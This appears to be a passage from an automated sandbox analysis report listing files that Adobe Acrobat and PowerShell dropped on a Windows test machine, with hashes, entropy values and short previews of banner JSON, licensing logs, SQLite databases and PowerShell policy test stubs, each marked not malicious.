SHA-512:	25B1BBFA8BE9115E7706C57348D69BBB0E61AD68FEDC708C2C6F06E174A27B6FD7DA34A17A28D79FDAC09B7701B819D9A8CC7627EE1E7DF0883C45B900069F54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250659946265202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJfshHHrPeUkwRe9:YvXKXmmGP40c+IGUUUkee9
MD5:	2C7401EEFC30DB831A18366C1DB2337F
SHA1:	BB7E43A282467455A00D026584E1489A391FC011
SHA-256:	94A51209E32ACC272FB2D9D367A2E7E766B8E14628C8A95CF2D66D06379F76A0
SHA-512:	C601AB25FF748D1BC7F3FEBFD23211981F3FDCA734A0FF19DBB193970A82D8C999DCCEE88BF5D277798F92AADDC7EECBCF592F281F163AA647E5F2AC7236ABFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260256017895949
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmZELgsGPKH0nZiQ0Y3HoAvJTqgFCrPeUkwRe9:YvXKXmmGP40c+IGTq16Ukee9
MD5:	BC2AA5AEC5DCF10EC37D7F680BB68F84
SHA1:	863FAC06226FD28AA10484AB3A6947AE1FF83B0B
SHA-256:	591903AF592CD851B79E338B98C179E342AAF7D3E39664D9C11DD9E798E021BE
SHA-512:	4256C62B8AF59F033A49FA9B915371858E0033D508383ADB78C8AD820BC290C540CC78439C5D5B51B09BBB6696F384232E4E84B951D207F28E720E2CA9E6DD67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"feabe5b7-b206-4c66-afdb-35c01ee9f316","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757661265,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132429438849717
Encrypted:	false
SSDEEP:	24:YXxX9aPSeayKXEudXKCXA4iKeX2KRxXWIWxXa2XujdpKvj0SAX8VKQClXp2Do2LU:Yg1KTInG7tw+oPnMLC7Yh7h9yN
MD5:	9EBDCDAE91267E88506AC216FFD0AF56
SHA1:	ABD733CCBD841EDFFED4A15BA60359335B340BF3
SHA-256:	DC4B4E017633A86A06D71C469641660BA1ECD8E7380A69AEE423A1663D8A2B3F
SHA-512:	92BEEF5B629CBF5A98975CDB93C85EBCB781965794806512C95AAEE3061EA6AB03347E1B51024B1DF17AC21B5FD216C88EEC8815B1B9182CE6E3621946FB527E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7c09bf120caa9a3074aeb31a1d68f787","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580705000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4f223503f33c02e1b60bee033a0cec44","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580705000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fe3c25e7c653a670aa44de5b2cbf1280","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580705000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c5c1c58111affed3cf04302f86f5d612","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580705000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"15b3ee9736e92cecef6d86b2b2e84924","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580705000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bf9c996fcf297ed8079c7811052f1abf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1458512452560143
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs3iRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcV:TFl2GL7mssXc+XcGNFlRYIX2v3k1
MD5:	7B428ADA5BCE1825AA738B375974B6C8
SHA1:	DDE8F5695A1C14F2F070FA9BBEF0D83C69D467DD
SHA-256:	7A3193B90B3AC612A0AF16B846089660ACC98986EDF14AFCC14877B3A981287A
SHA-512:	1F5230A7A5A9EA81C5E993BDD8A7596F8EC14A684C28EC33475ED57DD4E90FFF54390C4A9E0D2704B99979B236381EA10CCC5403D95A704F431B7818E5A47215
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5500441520017945
Encrypted:	false
SSDEEP:	24:7+tixiUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxqvqLxx/Xr:7Mi5Xc+XcGNFlRYIX2vbvqVl2GL7msZ
MD5:	E5DA4BD820988A3FF6435C4BBD709679
SHA1:	2A6614A6FDD4171FDEA8644B8CA2E8F39BE669D0
SHA-256:	081BFE6ECA3E77D60D6D13E29E8F66A5C2ECC16A5BC59E979D0B73CCCE750E6D
SHA-512:	FE073E69042769B9C702BE33441BB06D65B1604DE77EC9F4A3A48DB6E5944E5F398E97DE48D2D58BB4381CF7832D68E1C22B8BB956D2788E91E5E19164F8E5E5
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdmQXER9MwE2q6fT1mFdjfLR2yYyu:6a6TZ44ADEdm+S9Muq6fT1kVK
MD5:	14F3319A9711AEE5B2C3D1234C97039E
SHA1:	B8C9C873329213CD1B8EFE36EEF76DB5174745B3
SHA-256:	CE4771D7D979EBA56B8D46710F019CD696B5C46C2017432698B20E4943DFA90D
SHA-512:	5A65BC9CD0BDF8CC044B8CE8DC1665BD6B8BA853FE8959402904036833B20B6FB9682957F805146D312A08E91946127CEC49FB3332426FE48A86CACE760FC60A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI5839a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.516674370985874
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGlUue:Qw946cPbiOxDlbYnuRKdZO3
MD5:	B402D7846FE10A04308102A9CA4F6C1C
SHA1:	E638CCD13E8876E54B7E2F209CEEB7B85A9F7077
SHA-256:	7F7B91B63987059FF8A705CD6DB6814CF2C534C8651627D82750E4A3ED2058CC
SHA-512:	E5AD55ED75E0F31E41351066CF4D0D719BFC3317F2B75C7C1EB184D15E70DBF75895434766E4D7087D6BBB87930B003F574DDEFFB27DB6E662FF03CB69AD6384
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.3.1.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r33nvas0.il4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgc4xvma.btz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-31-41-553.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345372238358504
Encrypted:	false
SSDEEP:	384:s9BY5FMqDX0sN/QvVm0n/IracuNiVFS0RSBTNxjhVMQxCsc7rgTgZ6ZkhioKwHf6:TaF
MD5:	AC46435E70AF0AB915DE97E4A03C953C
SHA1:	FBD3F7A3213EE232EB23BB903F6C4CF572CBD724
SHA-256:	6AC1C7F1A090763EE47F7B71C7DA6748A1906BB991204CDDD716A69199F78F8E
SHA-512:	BCF398A0DD9D97A7579E275CB4CCE4A2EB13FC4CC43052FD8ADA49278FEB6451109DECC442A5BDC8896D732AD45B39F6C00C6592C2F4D6ACEDB64C19BAC9378D
Malicious:	false
Preview:	SessionID=22f2135b-7d20-4a23-a6cb-a4b4fbcd581a.1736580701564 Timestamp=2025-01-11T02:31:41:564-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=22f2135b-7d20-4a23-a6cb-a4b4fbcd581a.1736580701564 Timestamp=2025-01-11T02:31:41:565-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=22f2135b-7d20-4a23-a6cb-a4b4fbcd581a.1736580701564 Timestamp=2025-01-11T02:31:41:565-0500 ThreadID=7408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=22f2135b-7d20-4a23-a6cb-a4b4fbcd581a.1736580701564 Timestamp=2025-01-11T02:31:41:565-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=22f2135b-7d20-4a23-a6cb-a4b4fbcd581a.1736580701564 Timestamp=2025-01-11T02:31:41:565-0500 ThreadID=7408 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397325731044817
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbmcbgIRncbZ:V3fOCIdJDefR0
MD5:	9187E43E53CBF4EAABCDE78DF34CF891
SHA1:	DDD171C38148389395B7389118E98E5EA2F4064E
SHA-256:	F54B14FAAE649F4081C7E53654173A688E032E3D9E4BA00665FE5EB4E5263777
SHA-512:	ABAAFE6CCA95B754B32404E5E66D8DB998F0FC5BC641F1F083C4A7473B400038CB17816D1490BD2250642849D83369BAED0CA5BD74871D5F3A525657383EE4B7
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29ece9d0-f842-467f-85c9-571fe968dfcd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4574ebce-fc26-488a-850d-621ca8388557.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c2da4c57-03ae-41d9-a75e-66a9c0297a2b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f528a85b-71ef-4410-a4cd-1fc02796c966.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
